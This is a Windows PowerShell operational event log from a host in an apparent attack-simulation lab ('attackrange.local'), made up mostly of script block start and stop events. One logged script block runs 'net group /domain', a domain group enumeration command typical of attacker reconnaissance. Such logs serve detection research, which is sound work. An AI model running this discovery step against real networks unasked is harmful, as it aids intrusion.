ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023610
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023609
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023608
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023607
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023606
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023605
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023642
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023641
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023640
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023639
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023638
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023637
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023636
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023635
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023634
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023633
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023632
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3fb313e5-b911-4d4d-adb3-d8153ce08859
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023630
Keywords=None
Message=Started invocation of ScriptBlock ID: 3fb313e5-b911-4d4d-adb3-d8153ce08859
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2023629
Keywords=None
Message=Creating Scriptblock text (1 of 1):
net group /domain

ScriptBlock ID: 3fb313e5-b911-4d4d-adb3-d8153ce08859
Path:
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023628
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023627
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023626
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023625
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023624
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023623
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023622
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023621
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023620
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023619
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023618
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023617
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023616
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023615
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023648
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023647
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023646
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023645
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023644
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023643
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023658
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023656
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023654
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023652
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023650
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023694
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023692
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:58:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
